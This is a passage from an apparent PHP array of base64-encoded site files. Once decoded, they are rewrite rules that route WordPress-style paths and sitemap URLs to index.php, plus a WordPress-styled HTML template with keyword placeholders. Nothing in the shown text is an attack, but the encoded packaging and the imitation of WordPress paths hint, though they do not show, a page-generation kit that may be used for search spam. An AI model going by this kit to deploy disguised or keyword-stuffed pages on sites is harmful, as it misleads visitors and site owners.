GVSdWxlIF5zdGF0aWMvKC4qKSQgIGluZGV4LnBocD90PXN0YXRpYyZwPXN0YXRpYyZlPSQxIFtMXQ0KUmV3cml0ZVJ1bGUgXndwLWNvbnRlbnQvKC4qKSQgIGluZGV4LnBocD90PXN0YXRpYyZwPXdwLWNvbnRlbnQmZT0kMSBbTF0NClJld3JpdGVSdWxlIF53cC1pbmNsdWRlcy8oLiopJCBpbmRleC5waHA/dD1zdGF0aWMmcD13cC1pbmNsdWRlcyZlPSQxIFtMXQ0K',
  'Caddyfile' => 'cmV3cml0ZSB7DQogICAgIyBSZXdyaXRlIHJ1bGUgZm9yIC9kZXRhaWwvKi8qLmh0bWwNCiAgICByIF4vZGV0YWlsLyg/OlteX10qKV8oW14uL10rKVwuaHRtbCQNCiAgICB0byAvaW5kZXgucGhwP3Q9ZGV0YWlsJmk9ezF9DQp9DQoNCnJld3JpdGUgew0KICAgICMgUmV3cml0ZSBydWxlIGZvciAvY29sbGVjdGlvbi8qLyouaHRtbA0KICAgIHIgXi9jb2xsZWN0aW9uLyg/OlteX10qKV8oW14uL10rKVwuaHRtbCQNCiAgICB0byAvaW5kZXgucGhwP3Q9Y29sbGVjdGlvbiZpPXsxfQ0KfQ0KDQpyZXdyaXRlIHsNCiAgICAjIFJld3JpdGUgcnVsZSBmb3IgL2NvbGxlY3Rpb24vKi8qLyouaHRtbA0KICAgIHIgXi9jb2xsZWN0aW9uLyg/OlteX10qKV8oW14uL10rKS8oXGQrKS8oXGQrKVwuaHRtbCQNCiAgICB0byAvaW5kZXgucGhwP3Q9Y29sbGVjdGlvbiZpPXsxfSZuPXsyfSZzPXszfQ0KfQ0KDQpyZXdyaXRlIHsNCiAgICAjIFJld3JpdGUgcnVsZSBmb3Igc2l0ZW1hcC54bWwNCiAgICByIF4vc2l0ZW1hcFwueG1sJA0KICAgIHRvIC9pbmRleC5waHA/dD1zaXRlbWFwJnM9ezF9JmY9eG1sDQp9DQoNCnJld3JpdGUgew0KICAgICMgUmV3cml0ZSBydWxlIGZvciBzaXRlbWFwLVtudW1iZXJdLnR4dCBvciBzaXRlbWFwLVtudW1iZXJdLnhtbA0KICAgIHIgXi9zaXRlbWFwKC1cZCspP1wuKHR4dHx4bWwpJA0KICAgIHRvIC9pbmRleC5waHA/dD1zaXRlbWFwJnM9ezF9JmY9ezJ9DQp9DQoNCnJld3JpdGUgew0KICAgICMgUmV3cml0ZSBydWxlIGZvciAvc3RhdGljLyoNCiAgICByIF4vc3RhdGljLyguKikNCiAgICB0byAvaW5kZXgucGhwP3Q9c3RhdGljJnA9c3RhdGljJmU9ezF9DQp9DQoNCnJld3JpdGUgew0KICAgICMgUmV3cml0ZSBydWxlIGZvciAvd3AtY29udGVudC8qDQogICAgciBeL3dwLWNvbnRlbnQvKC4qKQ0KICAgIHRvIC9pbmRleC5waHA/dD1zdGF0aWMmcD13cC1jb250ZW50JmU9ezF9DQp9DQoNCnJld3JpdGUgew0KICAgICMgUmV3cml0ZSBydWxlIGZvciAvd3AtaW5jbHVkZXMvKg0KICAgIHIgXi93cC1pbmNsdWRlcy8oLiopDQogICAgdG8gL2luZGV4LnBocD90PXN0YXRpYyZwPXdwLWluY2x1ZGVzJmU9ezF9DQp9DQo=',
  'collection.html' => 'PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbi1VUyIgcHJlZml4PSJvZzogaHR0cDovL29ncC5tZS9ucyMgZmI6IGh0dHA6Ly9vZ3AubWUvbnMvZmIjIj4NCjxoZWFkPg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSIvPg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ii8+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtaW5pbXVtLXNjYWxlPTEiLz4NCiAgICB7e2tleXdvcmRzfX0NCiAgICB7e2Rlc2NyaXB0aW9ufX0NCiAgICB7e3RpdGxlfX0NCiAgICA8bWV0YSBuYW1lPSdyb2JvdHMnIGNvbnRlbnQ9J21heC1pbWFnZS1wcmV2aWV3OmxhcmdlJy8+DQogICAgPHN0eWxlPg0KICAgICAgICBpbWcud3Atc21pbGV5LA0KICAgICAgICBpbWcuZW1vamkgew0KICAgICAgICAgICAgZGlzcGxheTogaW5saW5lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBib3JkZXI6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGhlaWdodDogMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICB3aWR0aDogMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBtYXJnaW46IDAgMC4wN2VtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICB2ZXJ0aWNhbC1hbGlnbjogLTAuMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBwYWRkaW5nOiAwICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3dwLWJsb2NrLWxpYnJhcnktY3NzJyBocmVmPScvd3AtaW5jbHVkZXMvY3NzL2Rpc3QvYmxvY2stbGlicmFyeS9zdHlsZS5taW4uY3NzP3Zlcj02LjEuNScNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPHN0eWxlIGlkPSd3cC1ibG9jay1saWJyYXJ5LXRoZW1lLWlubGluZS1jc3MnPg0KICAgICAgICAud3AtYmxvY2stYXVkaW8gZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogIzU1NTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcg0KICAgICAgICB9DQoNCiAgICAgICAgLmlzLWRhcmstdGhlbWUgLndwLWJsb2NrLWF1ZGlvIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6IGhzbGEoMCwgMCUsIDEwMCUsIC42NSkNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1hdWRpbyB7DQogICAgICAgICAgICBtYXJnaW46IDAgMCAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1jb2RlIHsNCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNjY2M7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7DQogICAgICAgICAgICBmb250LWZhbWlseTogTWVubG8sIENvbnNvbGFzLCBtb25hY28sIG1vbm9zcGFjZTsNCiAgICAgICAgICAgIHBhZGRpbmc6IC44ZW0gMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stZW1iZWQgZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogIzU1NTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcg0KICAgICAgICB9DQoNCiAgICAgICAgLmlzLWRhcmstdGhlbWUgLndwLWJsb2NrLWVtYmVkIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6IGhzbGEoMCwgMCUsIDEwMCUsIC42NSkNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1lbWJlZCB7DQogICAgICAgICAgICBtYXJnaW46IDAgMCAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5ibG9ja3MtZ2FsbGVyeS1jYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiAjNTU1Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyDQogICAgICAgIH0NCg0KICAgICAgICAuaXMtZGFyay10aGVtZSAuYmxvY2tzLWdhbGxlcnktY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogaHNsYSgwLCAwJSwgMTAwJSwgLjY1KQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLWltYWdlIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6ICM1NTU7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXINCiAgICAgICAgfQ0KDQogICAgICAgIC5pcy1kYXJrLXRoZW1lIC53cC1ibG9jay1pbWFnZSBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiBoc2xhKDAsIDAlLCAxMDAlLCAuNjUpDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2staW1hZ2Ugew0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcHVsbHF1b3RlIHsNCiAgICAgICAgICAgIGJvcmRlci10b3A6IDRweCBzb2xpZDsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDRweCBzb2xpZDsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEuNzVlbTsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3INCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1wdWxscXVvdGVfX2NpdGF0aW9uLCAud3AtYmxvY2stcHVsbHF1b3RlIGNpdGUsIC53cC1ibG9jay1wdWxscXVvdGUgZm9vdGVyIHsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3I7DQogICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOw0KICAgICAgICAgICAgZm9udC1zaXplOiAuODEyNWVtOw0KICAgICAgICAgICAgZm9udC1zdHlsZTogbm9ybWFsDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcXVvdGUgew0KICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IC4yNWVtIHNvbGlkOw0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMS43NWVtOw0KICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZSBjaXRlLCAud3AtYmxvY2stcXVvdGUgZm9vdGVyIHsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3I7DQogICAgICAgICAgICBmb250LXNpemU6IC44MTI1ZW07DQogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWwNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZS5oYXMtdGV4dC1hbGlnbi1yaWdodCB7DQogICAgICAgICAgICBib3JkZXItbGVmdDogbm9uZTsNCiAgICAgICAgICAgIGJvcmRlci1yaWdodDogLjI1ZW0gc29saWQ7DQogICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IDA7DQogICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZS5oYXMtdGV4dC1hbGlnbi1jZW50ZXIgew0KICAgICAgICAgICAgYm9yZGVyOiBub25lOw0KICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAwDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcXVvdGUuaXMtbGFyZ2UsIC53cC1ibG9jay1xdW90ZS5pcy1zdHlsZS1sYXJnZSwgLndwLWJsb2NrLXF1b3RlLmlzLXN0eWxlLXBsYWluIHsNCiAgICAgICAgICAgIGJvcmRlcjogbm9uZQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlYXJjaCAud3AtYmxvY2stc2VhcmNoX19sYWJlbCB7DQogICAgICAgICAgICBmb250LXdlaWdodDogNzAwDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stc2VhcmNoX19idXR0b24gew0KICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2NjYzsNCiAgICAgICAgICAgIHBhZGRpbmc6IC4zNzVlbSAuNjI1ZW0NCiAgICAgICAgfQ0KDQogICAgICAgIDp3aGVyZSgud3AtYmxvY2stZ3JvdXAuaGFzLWJhY2tncm91bmQpIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDEuMjVlbSAyLjM3NWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stc2VwYXJhdG9yLmhhcy1jc3Mtb3BhY2l0eSB7DQogICAgICAgICAgICBvcGFjaXR5OiAuNA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvciB7DQogICAgICAgICAgICBib3JkZXI6IG5vbmU7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAycHggc29saWQ7DQogICAgICAgICAgICBtYXJnaW4tbGVmdDogYXV0bzsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0bw0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYWxwaGEtY2hhbm5lbC1vcGFjaXR5IHsNCiAgICAgICAgICAgIG9wYWNpdHk6IDENCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1zZXBhcmF0b3I6bm90KC5pcy1zdHlsZS13aWRlKTpub3QoLmlzLXN0eWxlLWRvdHMpIHsNCiAgICAgICAgICAgIHdpZHRoOiAxMDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYmFja2dyb3VuZDpub3QoLmlzLXN0eWxlLWRvdHMpIHsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IG5vbmU7DQogICAgICAgICAgICBoZWlnaHQ6IDFweA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYmFja2dyb3VuZDpub3QoLmlzLXN0eWxlLXdpZGUpOm5vdCguaXMtc3R5bGUtZG90cykgew0KICAgICAgICAgICAgaGVpZ2h0OiAycHgNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay10YWJsZSB7DQogICAgICAgICAgICBtYXJnaW46ICIwIDAgMWVtIDAiDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGhlYWQgew0KICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogM3B4IHNvbGlkDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGZvb3Qgew0KICAgICAgICAgICAgYm9yZGVyLXRvcDogM3B4IHNvbGlkDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGQsIC53cC1ibG9jay10YWJsZSB0aCB7DQogICAgICAgICAgICB3b3JkLWJyZWFrOiBub3JtYWwNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay10YWJsZSBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiAjNTU1Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyDQogICAgICAgIH0NCg0KICAgICAgICAuaXMtZGFyay10aGVtZSAud3AtYmxvY2stdGFibGUgZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogaHNsYSgwLCAwJSwgMTAwJSwgLjY1KQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXZpZGVvIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6ICM1NTU7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXINCiAgICAgICAgfQ0KDQogICAgICAgIC5pcy1kYXJrLXRoZW1lIC53cC1ibG9jay12aWRlbyBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiBoc2xhKDAsIDAlLCAxMDAlLCAuNjUpDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdmlkZW8gew0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGVtcGxhdGUtcGFydC5oYXMtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBwYWRkaW5nOiAxLjI1ZW0gMi4zNzVlbTsNCiAgICAgICAgICAgIG1hcmdpbi10b3A6IDA7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwDQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3djLWJsb2Nrcy12ZW5kb3JzLXN0eWxlLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL3BhY2thZ2VzL3dvb2NvbW1lcmNlLWJsb2Nrcy9idWlsZC93Yy1ibG9ja3MtdmVuZG9ycy1zdHlsZS5jc3M/dmVyPTcuOC4zJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSd3Yy1ibG9ja3Mtc3R5bGUtY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvcGFja2FnZXMvd29vY29tbWVyY2UtYmxvY2tzL2J1aWxkL3djLWJsb2Nrcy1zdHlsZS5jc3M/dmVyPTcuOC4zJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdjbGFzc2ljLXRoZW1lLXN0eWxlcy1jc3MnIGhyZWY9Jy93cC1pbmNsdWRlcy9jc3MvY2xhc3NpYy10aGVtZXMubWluLmNzcz92ZXI9MScNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPHN0eWxlIGlkPSdnbG9iYWwtc3R5bGVzLWlubGluZS1jc3MnPg0KICAgICAgICBib2R5IHsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLWJsYWNrOiAjMDAwMDAwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheTogI2FiYjhjMzsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXdoaXRlOiAjZmZmZmZmOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1waW5rOiAjZjc4ZGE3Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcmVkOiAjY2YyZTJlOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtb3JhbmdlOiAjZmY2OTAwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtYW1iZXI6ICNmY2I5MDA7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWNvbG9yLS1saWdodC1ncmVlbi1jeWFuOiAjN2JkY2I1Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtZ3JlZW4tY3lhbjogIzAwZDA4NDsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtY3lhbi1ibHVlOiAjOGVkMWZjOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtY3lhbi1ibHVlOiAjMDY5M2UzOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcHVycGxlOiAjOWI1MWUwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcHJpbWFyeTogIzIyMjUyOTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXNlY29uZGFyeTogI2VlODM3OTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXRlcnRpYXJ5OiAjMmJhYWIxOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcXVhdGVybmFyeTogIzM4M2Y0ODsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLWRhcms6ICMyMjI1Mjk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWNvbG9yLS1saWdodDogI2ZmZmZmZjsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZpdmlkLWN5YW4tYmx1ZS10by12aXZpZC1wdXJwbGU6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsIHJnYmEoNiwgMTQ3LCAyMjcsIDEpIDAlLCByZ2IoMTU1LCA4MSwgMjI0KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWxpZ2h0LWdyZWVuLWN5YW4tdG8tdml2aWQtZ3JlZW4tY3lhbjogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDEyMiwgMjIwLCAxODApIDAlLCByZ2IoMCwgMjA4LCAxMzApIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tbHVtaW5vdXMtdml2aWQtYW1iZXItdG8tbHVtaW5vdXMtdml2aWQtb3JhbmdlOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2JhKDI1MiwgMTg1LCAwLCAxKSAwJSwgcmdiYSgyNTUsIDEwNSwgMCwgMSkgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy12aXZpZC1vcmFuZ2UtdG8tdml2aWQtcmVkOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2JhKDI1NSwgMTA1LCAwLCAxKSAwJSwgcmdiKDIwNywgNDYsIDQ2KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZlcnktbGlnaHQtZ3JheS10by1jeWFuLWJsdWlzaC1ncmF5OiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjM4LCAyMzgsIDIzOCkgMCUsIHJnYigxNjksIDE4NCwgMTk1KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWNvb2wtdG8td2FybS1zcGVjdHJ1bTogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDc0LCAyMzQsIDIyMCkgMCUsIHJnYigxNTEsIDEyMCwgMjA5KSAyMCUsIHJnYigyMDcsIDQyLCAxODYpIDQwJSwgcmdiKDIzOCwgNDQsIDEzMCkgNjAlLCByZ2IoMjUxLCAxMDUsIDk4KSA4MCUsIHJnYigyNTQsIDI0OCwgNzYpIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tYmx1c2gtbGlnaHQtcHVycGxlOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU1LCAyMDYsIDIzNikgMCUsIHJnYigxNTIsIDE1MCwgMjQwKSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWJsdXNoLWJvcmRlYXV4OiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU0LCAyMDUsIDE2NSkgMCUsIHJnYigyNTQsIDQ1LCA0NSkgNTAlLCByZ2IoMTA3LCAwLCA2MikgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy1kdXNrOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU1LCAyMDMsIDExMikgMCUsIHJnYigxOTksIDgxLCAxOTIpIDUwJSwgcmdiKDY1LCA4OCwgMjA4KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXBhbGUtb2NlYW46IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsIHJnYigyNTUsIDI0NSwgMjAzKSAwJSwgcmdiKDE4MiwgMjI3LCAyMTIpIDUwJSwgcmdiKDUxLCAxNjcsIDE4MSkgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1lbGVjdHJpYy1ncmFzczogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDIwMiwgMjQ4LCAxMjgpIDAlLCByZ2IoMTEzLCAyMDYsIDEyNikgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1taWRuaWdodDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDIsIDMsIDEyOSkgMCUsIHJnYig0MCwgMTE2LCAyNTIpIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1kYXJrLWdyYXlzY2FsZTogdXJsKCcjd3AtZHVvdG9uZS1kYXJrLWdyYXlzY2FsZScpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1ncmF5c2NhbGU6IHVybCgnI3dwLWR1b3RvbmUtZ3JheXNjYWxlJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWR1b3RvbmUtLXB1cnBsZS15ZWxsb3c6IHVybCgnI3dwLWR1b3RvbmUtcHVycGxlLXllbGxvdycpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1ibHVlLXJlZDogdXJsKCcjd3AtZHVvdG9uZS1ibHVlLXJlZCcpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1taWRuaWdodDogdXJsKCcjd3AtZHVvdG9uZS1taWRuaWdodCcpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1tYWdlbnRhLXllbGxvdzogdXJsKCcjd3AtZHVvdG9uZS1tYWdlbnRhLXllbGxvdycpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1wdXJwbGUtZ3JlZW46IHVybCgnI3dwLWR1b3RvbmUtcHVycGxlLWdyZWVuJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWR1b3RvbmUtLWJsdWUtb3JhbmdlOiB1cmwoJyN3cC1kdW90b25lLWJsdWUtb3JhbmdlJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tc21hbGw6IDEzcHg7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tbWVkaXVtOiAyMHB4Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1mb250LXNpemUtLWxhcmdlOiAzNnB4Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1mb250LXNpemUtLXgtbGFyZ2U6IDQycHg7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTIwOiAwLjQ0cmVtOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1zcGFjaW5nLS0zMDogMC42N3JlbTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tc3BhY2luZy0tNDA6IDFyZW07DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTUwOiAxLjVyZW07DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTYwOiAyLjI1cmVtOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1zcGFjaW5nLS03MDogMy4zOHJlbTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tc3BhY2luZy0tODA6IDUuMDZyZW07DQogICAgICAgIH0NCg0KICAgICAgICA6d2hlcmUoLmlzLWxheW91dC1mbGV4KSB7DQogICAgICAgICAgICBnYXA6IDAuNWVtOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsb3cgPiAuYWxpZ25sZWZ0IHsNCiAgICAgICAgICAgIGZsb2F0OiBsZWZ0Ow0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1zdGFydDogMDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtZW5kOiAyZW07DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtZmxvdyA+IC5hbGlnbnJpZ2h0IHsNCiAgICAgICAgICAgIGZsb2F0OiByaWdodDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtc3RhcnQ6IDJlbTsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtZW5kOiAwOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsb3cgPiAuYWxpZ25jZW50ZXIgew0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IGF1dG8gIWltcG9ydGFudDsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gLmFsaWdubGVmdCB7DQogICAgICAgICAgICBmbG9hdDog